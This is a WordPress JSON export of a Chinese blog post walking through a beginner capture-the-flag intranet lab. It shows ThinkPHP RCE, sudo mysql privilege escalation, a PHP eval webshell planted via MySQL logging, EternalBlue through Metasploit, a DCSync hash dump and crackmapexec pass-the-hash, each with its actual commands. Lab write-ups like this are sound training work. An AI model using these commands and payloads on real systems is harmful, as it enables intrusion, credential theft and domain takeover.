{"id":506,"date":"2022-11-24T20:40:35","date_gmt":"2022-11-24T12:40:35","guid":{"rendered":"http:\/\/119.45.47.125\/?p=506"},"modified":"2023-08-04T16:57:03","modified_gmt":"2023-08-04T08:57:03","slug":"yunjing-4-2","status":"publish","type":"post","link":"http:\/\/119.45.47.125\/index.php\/2022\/11\/24\/yunjing-4-2\/","title":{"rendered":"\u6625\u79cb\u4e91\u5883\uff08\u56db\uff09"},"content":{"rendered":"
\n Initial\u662f\u4e00\u5957\u96be\u5ea6\u4e3a\u7b80\u5355\u7684\u9776\u573a\u73af\u5883\uff0c\u5b8c\u6210\u8be5\u6311\u6218\u53ef\u4ee5\u5e2e\u52a9\u73a9\u5bb6\u521d\u6b65\u8ba4\u8bc6\u5185\u7f51\u6e17\u900f\u7684\u7b80\u5355\u6d41\u7a0b\u3002\u8be5\u9776\u573a\u53ea\u6709\u4e00\u4e2aflag\uff0c\u5404\u90e8\u5206\u4f4d\u4e8e\u4e0d\u540c\u7684\u673a\u5668\u4e0a\u3002\n<\/blockquote>\n
\n

PS\uff1a\u8fd9\u4e2a\u9776\u673a\u8fd8\u662f\u53ef\u4ee5\u7684\uff0c\u504f\u57fa\u7840\uff0c\u9002\u5408\u65b0\u624b\u7ec3\u4e60<\/strong><\/p>\n

\n

\u5f00\u542f\u9776\u673a\u540e\u662f\u4e00\u4e2a\u5e26\u7740 ThinkPHP icon \u7684\u767b\u9646\u754c\u9762\uff0c\u76f4\u63a5\u6d4b\u8bd5\u4e00\u4e0b<\/p>\n

\"\"<\/div>\n

\u5b58\u5728 5.0.23 RCE<\/p>\n

\"\"<\/div>\n

\u6253\u4e00\u4e0b\uff0cPHP-7.4.3 \u7684\u73af\u5883\uff0c\u770b\u4e00\u4e0b disable_functions<\/p>\n

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare\n<\/code><\/pre>\n
\"\"<\/div>\n
\u4f20\u9a6c\u4e0a\u53bb\uff0c\u8681\u5251\u8fde\u63a5\uff0c\u662fwww-data<\/code>\u6743\u9650\uff0c\u90a3\u4e48\u5c31\u5f97\u60f3\u529e\u6cd5\u63d0\u6743\u8fdb\u5230\/root<\/code>\u4e0b<\/p>\n
\"\"<\/div>\n
\u5728\u4ee5\u524d\u5173\u6ce8\u7684\u516c\u4f17\u53f7\u4e0b\u627e\u4e86\u4e9b\u6587\u7ae0\uff0cWeb\u5b89\u5168\u5de5\u5177\u5e93<\/strong> \u8fd9\u7bc7\u5199\u7684\u633a\u5168\u7684\uff0c\u300aLinux\u63d0\u6743\u5907\u5fd8\u5f55\u300b<\/a><\/p>\n
\u5c1d\u8bd5cat \/etc\/sudoers<\/code>\u88ab\u544a\u77e5Permission denied<\/code>\uff0c\u6362\u6210sudo -l<\/code>\u67e5\u770b<\/p>\n
\"\"<\/div>\n
\u8fd9\u4e2a\u7f51\u7ad9<\/a>\u91cc\u53ef\u4ee5\u63d0\u4f9b\u547d\u4ee4\u63d0\u6743\u53c2\u8003<\/p>\n
\"\"<\/div>\n
\u53ef\u4ee5\u4f7f\u7528mysql<\/code>\u6765\u5b9e\u73b0\uff0csudo mysql -e '! cat \/root\/flag\/flag01.txt'<\/code>\u62ff\u5230\u7b2c\u4e00\u90e8\u5206 flag<\/p>\n
\"\"<\/div>\n
ifconfig<\/code>\u67e5\u4e0b IP<\/p>\n
\"\"<\/div>\n
\u628a fscan \u4f20\u4e0a\u53bb\u7136\u540e\u626b\u4e0b C \u6bb5\uff0c.\/fscan_amd64 -h 172.22.1.1\/24<\/code>\uff0c\u7ed3\u679c\u5728\u5f53\u4e0b\u7684 result.txt \u91cc<\/p>\n
172.22.1.18:3306 open\n172.22.1.2:88 open\n172.22.1.21:445 open\n172.22.1.18:445 open\n172.22.1.2:445 open\n172.22.1.21:139 open\n172.22.1.18:139 open\n172.22.1.2:139 open\n172.22.1.21:135 open\n172.22.1.18:135 open\n172.22.1.2:135 open\n172.22.1.18:80 open\n172.22.1.15:80 open\n172.22.1.15:22 open\n[*] 172.22.1.2  (Windows Server 2016 Datacenter 14393)\n[+] 172.22.1.21 MS17-010    (Windows 7 Professional 7601 Service Pack 1)\n[+] NetInfo:\n[*]172.22.1.21\n   [->]XIAORANG-WIN7\n   [->]172.22.1.21\n[+] NetInfo:\n[*]172.22.1.18\n   [->]XIAORANG-OA01\n   [->]172.22.1.18\n[+] NetInfo:\n[*]172.22.1.2\n   [->]DC01\n   [->]172.22.1.2\n[*] 172.22.1.2     [+]DC XIAORANG\\DC01              Windows Server 2016 Datacenter 14393\n[*] WebTitle:http:\/\/172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin\n[*] 172.22.1.18          XIAORANG\\XIAORANG-OA01     Windows Server 2012 R2 Datacenter 9600\n[*] 172.22.1.21          __MSBROWSE__\\XIAORANG-WIN7     Windows 7 Professional 7601 Service Pack 1\n[*] WebTitle:http:\/\/172.22.1.18        code:302 len:0      title:None \u8df3\u8f6curl: http:\/\/172.22.1.18?m=login\n[*] WebTitle:http:\/\/172.22.1.18?m=login code:200 len:4012   title:\u4fe1\u547c\u534f\u540c\u529e\u516c\u7cfb\u7edf\n[+] http:\/\/172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1\n<\/code><\/pre>\n
.15 \u5c31\u4e0d\u7528\u770b\u4e86\uff0c.21 \u662f\u4e2a\u5b58\u5728\u6c38\u6052\u4e4b\u84dd\u7684 Win7\uff0c.18 \u662f\u4e2a\u4fe1\u547cOA \u7684\u7cfb\u7edf\uff0c.2 \u662f\u4e2a\u57df\u63a7<\/p>\n
\u7528 NPS+Proxifier \u4ee3\u7406\u8f6c\u53d1\uff0c\u5148\u770b .18<\/p>\n
\"\"<\/div>\n
\u7136\u540e\u5c31\u6709\u4e24\u4e2a\u505a\u6cd5\uff0c\u7b2c\u4e00\u4e2a\u662f\u9488\u5bf9\u4fe1\u547cOA\u7684\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u53c2\u8003 Y4tacker\u5e08\u5085\u7684\u6587\u7ae0<\/a>\uff0c\u5728\u5229\u7528\u5f31\u53e3\u4ee4 admin\/admin123 \u767b\u5f55\u540e\u76f4\u63a5\u6253 exp \u5c31\u884c<\/p>\n
\u7b2c\u4e8c\u79cd\u505a\u6cd5\u662f\u5728\u626b\u76ee\u5f55\u57fa\u7840\u4e0a\uff0c\u5229\u7528\/phpmyadmin<\/code>\uff0c\u53ef\u4ee5\u76f4\u63a5 root\/root \u767b\u5f55\uff0c\u7136\u540e\u5229\u7528\u65e5\u5fd7\u5199\u5165 webshell<\/p>\n
\"\"<\/div>\n
\u7b2c\u4e00\u6b65\u5148\u6267\u884cshow variables like 'general%';<\/code>\u67e5\u770b\u662f\u5426\u5f00\u542f\u65e5\u5fd7\u4ee5\u53ca\u5b58\u653e\u7684\u65e5\u5fd7\u4f4d\u7f6e<\/p>\n
\"\"<\/div>\n
\u7b2c\u4e8c\u6b65set global general_log = ON;<\/code>\u5f00\u542f\u65e5\u5fd7<\/p>\n
\"\"<\/div>\n
\u7b2c\u4e09\u6b65set global general_log_file<\/code>\u8bbe\u7f6e\u65e5\u5fd7\u4fdd\u5b58\u4f4d\u7f6e<\/p>\n
\"\"<\/div>\n
\u6700\u540eselect '<?php eval($_POST[cmd]);?>';<\/code>\u5199\ud83d\udc0e\u7136\u540e\u8681\u5251\u8fde\u63a5\uff0cflag \u5c31\u5728C:\/Users\/Administrators\/flag<\/code>\u4e0b<\/p>\n
\"\"<\/div>\n
\u63a5\u4e0b\u6765\u770b .21\uff0c\u662f\u53f0 Win7 \u7684\u673a\u5b50\uff0c\u53ef\u4ee5\u6253 MS17-010 \uff0c\u8bd5\u4e86\u4e00\u4e0b\u4e0d\u51fa\u7f51\uff0c\u91c7\u7528\u6b63\u5411\u76d1\u542c\u5373\u53ef<\/p>\n
\u5148\u6302\u4ee3\u7406\uff0cproxychains msfconsole<\/code>\u8d70 socks5 \u6d41\u91cf\uff0c\u7136\u540e\u4f9d\u6b21use exploit\/windows\/smb\/ms17_010_eternalblue<\/code>=>set payload windows\/x64\/meterpreter\/bind_tcp_uuid<\/code>=>set RHOSTS 172.22.1.21<\/code>=>exploit<\/code><\/p>\n
\"\"<\/div>\n
\u5f97\u5230\u6b63\u5411\u7684 meterpreter shell \u540e\uff0c\u63a5\u4e0b\u6765\u5c31\u662f\u5229\u7528 DCSync<\/p>\n
DCSync\u7684\u4ecb\u7ecd\u53ef\u4ee5\u53c2\u8003\u8fd9\u7bc7\u6587\u7ae0<\/a>\uff0c\u6700\u5927\u7684\u7279\u70b9\u5c31\u662f\u53ef\u4ee5\u5b9e\u73b0\u4e0d\u767b\u5f55\u5230\u57df\u63a7\u800c\u83b7\u53d6\u57df\u63a7\u4e0a\u7684\u6570\u636e<\/p>\n
\u5728 MSF \u4e0b\u76f4\u63a5load kiwi<\/code>\uff0c\u7136\u540ekiwi_cmd "lsadump::dcsync \/domain:xiaorang.lab \/all \/csv" exit<\/code>\u5bfc\u51fa\u57df\u5185\u6240\u6709\u7528\u6237\u7684 Hash<\/p>\n
\"\"<\/div>\n
\u4e4b\u524d\u626b\u51fa\u6765 .2 \u7684 445 \u7aef\u53e3\u5f00\u653e\uff0c\u5229\u7528 smb \u54c8\u5e0c\u4f20\u9012\uff0c\u76f4\u63a5\u7528 kali \u81ea\u5e26\u7684 crackmapexec\uff0cproxychains crackmapexec smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "$cmd"<\/code>\uff0c\u6700\u540e\u4e00\u90e8\u5206 flag \u5728\/Users\/Administrators\/flag<\/code>\u4e0b<\/p>\n
\"\"<\/div>","protected":false},"excerpt":{"rendered":"Initial\u662f\u4e00\u5957\u96be\u5ea6\u4e3a\u7b80\u5355\u7684\u9776\u573a\u73af\u5883\uff0c\u5b8c\u6210\u8be5\u6311\u6218\u53ef\u4ee5\u5e2e\u52a9\u73a9\u5bb6\u521d\u6b65\u8ba4\u8bc6\u5185\u7f51\u6e17\u900f\u7684\u7b80\u5355\u6d41\u7a0b\u3002\u8be5\u9776\u573a\u53ea\u6709\u4e00\u4e2afl […]","protected":false},"author":1,"featured_media":508,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[26,29],"tags":[31],"class_list":["post-506","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-study","category-yunjing","tag-31"],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/119.45.47.125\/wp-content\/uploads\/2022\/11\/4f02c24976beb0358e0c4b8a89911c0e.png?fit=530%2C550","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts\/506","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/comments?post=506"}],"version-history":[{"count":16,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts\/506\/revisions"}],"predecessor-version":[{"id":869,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/posts\/506\/revisions\/869"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/media\/508"}],"wp:attachment":[{"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/media?parent=506"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/categories?post=506"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/119.45.47.125\/index.php\/wp-json\/wp\/v2\/tags?post=506"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}